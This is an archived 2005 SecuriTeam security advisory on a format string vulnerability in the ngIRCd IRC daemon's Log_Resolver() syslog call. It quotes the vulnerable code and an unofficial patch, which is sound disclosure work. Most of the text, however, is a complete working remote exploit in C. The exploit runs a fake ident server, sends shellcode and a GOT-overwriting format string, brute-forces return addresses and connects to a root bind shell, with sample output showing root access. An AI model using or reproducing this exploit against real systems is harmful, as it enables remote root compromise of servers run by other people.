

[UNIX] ngIRCd Format String Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0017.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/03/05

To: list@securiteam.com

Date: 3 Feb 2005 19:23:22 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ngIRCd Format String Vulnerability

SUMMARY

<<http://arthur.ath.cx/~alex/ngircd/>> ngIRCd is "a portable IRC daemon written from scratch. It is easy to configure, supports server links (even with original ircds) and runs on hosts with changing IP addresses (such as dial-in networks). Currently supported platforms are AIX, A/UX, Darwin/Mac OS X, FreeBSD, HP-UX, IRIX, Linux, NetBSD, SunOS/Solaris, and Windows with Cygwin".

There exists a format string bug in ngIRCd's `Log_Resolver()` function of `log.c`. The format string is caused because the function passes erroneous arguments to the `syslog()` function. Exploitation of this vulnerabilities allows gaining of remote privileges.

DETAILS

Vulnerable Systems:

* ngIRCd version 0.8.2 and prior

Vulnerable Code:

```
261: vsnprintf( msg, MAX_LOG_MSG_LEN, Format, ap );
```

```
262: va_end( ap );
```

```
263:
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
264: /* Output */
265: if( NGIRCd_NoDaemon )
266: {
267: /* Output to console */
268: fprintf( stdout, "[%d:%d] %s\n", (INT) getpid( ), Level, msg );
269: fflush( stdout );
270: }
271: #ifdef SYSLOG
272: else syslog( Level, msg );
273: #endif
```

As can be see a format string vulnerability in exists in line 272 of log.c

Unofficial patch:

The patch is included here:

```
--- src/ngircd/log.c 2004-06-26 06:06:27.000000000 -0300
+++ src/ngircd/log.c.patch 2005-02-02 12:53:33.000000000 -0300
@@ -269,7 +269,7 @@
     fflush( stdout );
 }
 #ifdef SYSLOG
- else syslog( Level, msg );
+ else syslog( Level, "%s", msg );
 #endif
 } /* Log_Resolver */
```

Exploit:

To successfully exploit this vulnerability, we need ngIRCd to be compiled with IDENT, logging to SYSLOG and DEBUG enabled.

If we examine resolve.c, we will see:

```
96: /* For sub-process */
97: pid = fork( );
98: if( pid > 0 )
99: {
100: /* Main process */
101: Log( LOG_DEBUG, "Resolver for %s created (PID %d).", inet_ntoa(
Addr->sin_addr ), pid );
102: FD_SET( s->pipe[0], &Resolver_FDs );
103: if( s->pipe[0] > Conn_MaxFD ) Conn_MaxFD = s->pipe[0];
104: s->pid = pid;
105: s->stage = 0;
106: s->bufpos = 0;
107: return s;
108: }
```

[...]

```
230: #ifdef IDENTAUTH
231: /* Do "IDENT" (aka "AUTH") lookup and write result to parent */
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
232: Log_Resolver( LOG_DEBUG, "Doing IDENT lookup on socket %d ...", Sock
);
233: res = ident_id( Sock, 10 );
234: Log_Resolver( LOG_DEBUG, "Ok, IDENT lookup on socket %d done:
\"%s\"", Sock, res ? res : "" );
235:
236: /* Write IDENT result into pipe to parent */
237: len = strlen( res ? res : "" );
238: if( res != NULL ) res[len] = '\n';
239: len++;
240: if( (size_t)write( w_fd, res ? res : "\n", len ) != (size_t)len )
241: {
242: Log_Resolver( LOG_CRIT, "Resolver: Can't write to parent (IDENT):
%s!", strerror( errno ) );
243: close( w_fd );
244: }
245: free( res );
246: #endif
```

At 97 line that the program created a new process with the fork() function, this allows us to obtain the exact address of RET of automatically without causing the ircd process to die.

Coki has written a code exploit that use this method for obtain a root shell in the target: <http://www.nosystem.com.ar/exploits/ngircd_fsexp.c>
http://www.nosystem.com.ar/exploits/ngircd_fsexp.c

```
/* ngircd_fsexp.c
*
* ngIRCd <= 0.8.2 remote format string exploit
*
* Note:
* To obtain a successful exploitation, we need that
* ngIRCd has been compiled with IDENT, logging to
* SYSLOG and DEBUG enabled.
*
* Original Reference:
* http://www.nosystem.com.ar/advisories/advisory-11.txt
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* Use: ./ngircd_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -p <arg> ircd port (by default 6667)
* -t <arg> type of target system
* -g <arg> syslog GOT address
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
* -o <arg> offset (RET addr by default 0x0806b000)
* -b bruteforce the RET address
* (from 0x0806b000 + offset)
* -l targets list
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] host : victim
* [*] system : Slackware Linux 10.0
* [*] ircd version : ngircd-0.8.2.tar.gz
* [*] syslog GOT address : 0x08068094
* [*] verifying host : 10.0.0.2
*
* [*] trying RET address : 0x0806d710 (offset 10000)
* [*] building evil buffer : done!
* [*] running fake ident server : 0.0.0.0:113
*
* [*] connecting to ircd... : 10.0.0.2:6667 connected
* [*] waiting for answer... : 10.0.0.1:43260 connected
* [*] sending evil ident... : done!
* [*] checking for shell... : done!
*
* [!] you have a shell :)
*
* Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown
unknown GNU/Linux
* uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
```

```
#define IDENTD 113
#define BUFFERSIZE 1024
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
#define ERROR -1
#define TIMEOUT 3
#define SHELL 5074
#define IRCD 6667

int connect_timeout(int sfd, struct sockaddr *serv_addr,
    socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(char *host, int gotaddr, int retaddr, int ircdport);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;

struct {
  int num;
  char *os;
  char *ircd;
  int got;
}targets[] = {
  1, "Slackware Linux 10.0", "ngircd-0.8.1.tar.gz", 0x080680d4,
  2, "Slackware Linux 10.0", "ngircd-0.8.2.tar.gz", 0x08068094,
  3, "Slackware Linux 9.0", "ngircd-0.8.1.tar.gz", 0x080662b4,
  4, "Slackware Linux 9.0", "ngircd-0.8.2.tar.gz", 0x08066294
};

static int b=0;

int main(int argc, char *argv[])
{
  char opt, *host=NULL, *system=NULL, *ircd=NULL;
  int i, ircdport=IRCD;
  int retaddr=0x0806b000, gotaddr=0, targetnum=0, offset=0;
  struct hostent *he;

  printf("\n ngIRCd <= 0.8.2 remote format string exploit\n");
  printf(" by CoKi <coki@nosystem.com.ar>\n\n");

  while((opt = getopt(argc,argv,"h:g:t:lo:bp:")) != EOF) {
    switch (opt) {
      case 'h':
        host = optarg;
        break;
      case 'g':
        gotaddr = strtoul(optarg,NULL,0);
        system = "unknown";
        ircd = "unknown";
        break;
      case 't':
        targetnum = atoi(optarg)-1;

```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
if(targets[targetnum].num) {
    system = targets[targetnum].os;
    ircd = targets[targetnum].ircd;
    gotaddr = targets[targetnum].got;
}
else use(argv[0]);
break;
case 'l':
    printlist();
    break;
case 'o':
    offset = atoi(optarg);
    retaddr += offset;
    break;
case 'b':
    b = 1;
    break;
case 'p':
    ircdport = atoi(optarg);
    break;
default:
    use(argv[0]);
    break;
}
}

if(host == NULL) use(argv[0]);
if(gotaddr == 0) use(argv[0]);
if(system == NULL) {
    system = "unknown";
    ircd = "unknown";
}

printf(" [*] host\t\t\t: %s\n", host);
printf(" [*] system\t\t\t: %s\n", system);
printf(" [*] ircd version\t\t: %s\n", ircd);
printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr);
printf(" [*] verifying host\t\t:");
fflush(stdout);

if((he=gethostbyname(host)) == NULL) {
    perror(" gethostbyname()");
    printf("\n");
    exit(1);
}

printf(" %s\n\n", inet_ntoa(*(struct in_addr *)he->h_addr));

/* bruteforce mode */
if(b) {
    for(i = retaddr; i <= 0x0806ffff; i += 0x10) {
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
printf(" [*] bruteforcing RET address\t: %010p", i);
fflush(stdout);
exploit(host, gotaddr, i, ircdport);
}

printf("\n [*] failed!\n\n");
}

/* single mode */
else {
printf(" [*] trying RET address\t: %010p", retaddr);
fflush(stdout);
if(offset) printf(" (offset %d)\n", offset);
else printf("\n");
exploit(host, gotaddr, retaddr, ircdport);
}
}

void exploit(char *host, int gotaddr, int retaddr, int ircdport) {
char ident[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
int sock, newsock, sockfd, i, reuseaddr=1;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct sockaddr_in dest_dir;
struct sockaddr_in remoteaddr;
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}

/* building evil buffer */
if(!b) {
printf(" [*] building evil buffer\t:");
fflush(stdout);
}

sprintf(ident, "0 , 0 : USERID : OTHER :");

/* adding GOT address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(ident, temp, 4);
gotaddr++;
}
}
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);

cn1 = bal4 - 16 - 36 - 70 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);

/* adding NOP's */
memset(temp, '\x90', 70);
strcat(ident, temp);
bzero(temp, sizeof(temp));

/* adding shellcode */
strcat(ident, shellcode);

/* adding format string */
sprintf(temp, "%%%du%%%12$n%%%du%%%13$n%%%du%%%14$n%%%du%%%15$n", cn1, cn2,
cn3, cn4);

strcat(ident, temp);

strcat(ident, "\n");

/* running fake identd */
if(!b) {
printf(" done!\n");
printf(" [*] running fake ident server\t:");
fflush(stdout);
}

localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(IDENTD);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror(" socket()");
printf("\n");
exit(1);
}

if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
perror(" setsockopt()");
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
printf("\n");
exit(1);
}

if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
    perror(" bind()");
    printf("\n");
    exit(1);
}

if (listen(sock, 1) < 0) {
    perror(" listen()");
    printf("\n");
    exit(1);
}

/* connecting to ircd */
if(!b) {
    printf(" %s:%u\n\n", inet_ntoa(localaddr.sin_addr),
ntohs(localaddr.sin_port));
    printf(" [*] connecting to ircd...\t:");
    fflush(stdout);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
    perror(" socket");
    printf("\n");
    exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(ircdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

    printf(" closed\n\n");
    exit(1);
}

/* waiting for answer */
if(!b) {
    printf(" %s:%u connected\n", inet_ntoa(dest_dir.sin_addr),
ntohs(dest_dir.sin_port));
    printf(" [*] waiting for answer...\t:");
    fflush(stdout);
}
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) <
0) {
    perror(" accept()");
    printf("\n");
    exit(1);
}

if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
    perror(" getpeername()");
    printf("\n");
    exit(1);
}

if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
    perror(" read()");
    printf("\n");
    exit(1);
}

if(!b) {
    printf(" %s:%u connected\n", inet_ntoa(remoteaddr.sin_addr),
ntohs(remoteaddr.sin_port));
    fflush(stdout);

    /* sending evil ident */
    printf(" [*] sending evil ident...\t:");
    fflush(stdout);
}

if (write(newsock, ident, strlen(ident)) <= 0) {
    perror(" write()");
    printf("\n");
    exit(1);
}

close(sock);
close(newsock);
close(sockfd);

if(!b) {
    printf(" done!\n");
    fflush(stdout);

    /* checking for shell */
    printf(" [*] checking for shell...\t:");
    fflush(stdout);
}

shell(host, SHELL);
}
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
void shell(char *host, int port) {
    int sockfd, n;
    char buff[BUFFERSIZE], *command = "uname -a; id;\n";
    fd_set readfs;
    struct hostent *he;
    struct sockaddr_in dest_dir;

    if((he=gethostbyname(host)) == NULL) {
        perror(" gethostbyname()");
        printf("\n");
        exit(1);
    }

    if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
        perror(" socket()");
        printf("\n");
        exit(1);
    }

    dest_dir.sin_family = AF_INET;
    dest_dir.sin_port = htons(port);
    dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(dest_dir.sin_zero), 8);

    if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
        sizeof(struct sockaddr), TIMEOUT) == ERROR) {

        if(b) {
            printf("\r\r");
            return;
        }

        else {
            printf(" done!\n\n");
            printf(" [!] failed!\n\n");
            exit(1);
        }
    }

    if(!b) {
        printf(" done!");
        fflush(stdout);
    }

    printf("\n\n [!] you have a shell :) \n\n");
    fflush(stdout);

    send(sockfd, command, strlen(command), 0);

    while(1) {
        FD_ZERO(&readfs);
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
    if((n = read(0,buff,sizeof(buff))) < 1)
        exit(0);
    if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
    if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
    write(1, buff, n);
}
}
}
```

```
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {
```

```
    int res, slen, flags;
    struct timeval tv;
    struct sockaddr_in addr;
    fd_set rfd, wrf;
```

```
    fcntl(sfd, F_SETFL, O_NONBLOCK);
```

```
    res = connect(sfd, serv_addr, addrlen);
```

```
    if (res >= 0) return res;
```

```
    FD_ZERO(&rfd);
    FD_ZERO(&wrf);
```

```
    FD_SET(sfd, &rfd);
    FD_SET(sfd, &wrf);
    bzero(&tv, sizeof(tv));
    tv.tv_sec = timeout;
```

```
    if (select(sfd + 1, &rfd, &wrf, 0, &tv) <= 0)
        return -1;
```

```
    if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rfd)) {
        slen = sizeof(addr);
        if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
            return -1;
```

```
        flags = fcntl(sfd, F_GETFL, NULL);
        fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
```

```
        return 0;
    }
```

Securiteam: [UNIX] ngIRCd Format String Vulnerability

```
return -1;
}

int check(unsigned long addr) {
char tmp[128];
sprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 5)
addr = addr + 256;

return addr;
}

void use(char *program) {
printf(" Use: %s -h <host> [options]\n", program);
printf("\n options:\n");
printf(" -h <arg> host or IP\n");
printf(" -p <arg> ircd port (by default 6667)\n");
printf(" -t <arg> type of target system\n");
printf(" -g <arg> syslog GOT address\n");
printf(" -o <arg> offset (RET addr by default 0x0806b000)\n");
printf(" -b brutefoce the RET address\n");
printf(" (from 0x0806b000 + offset)\n");
printf(" -l targets list\n");
exit(1);
}

void printlist(void) {
int i=0;

printf(" targets\n");
printf(" -----\n\n");

while(targets[i].num) {
printf(" [%d] %s [%s]\n", targets[i].num, targets[i].os,
targets[i].ircd);
i++;
}

printf("\n");
exit(0);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:coki@nosystem.com.ar> CoKi.

The original article can be found at:

<<http://www.nosystem.com.ar/advisories/advisory-11.txt>>

<http://www.nosystem.com.ar/advisories/advisory-11.txt>

=====

Securiteam: [UNIX] ngIRCd Format String Vulnerability

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.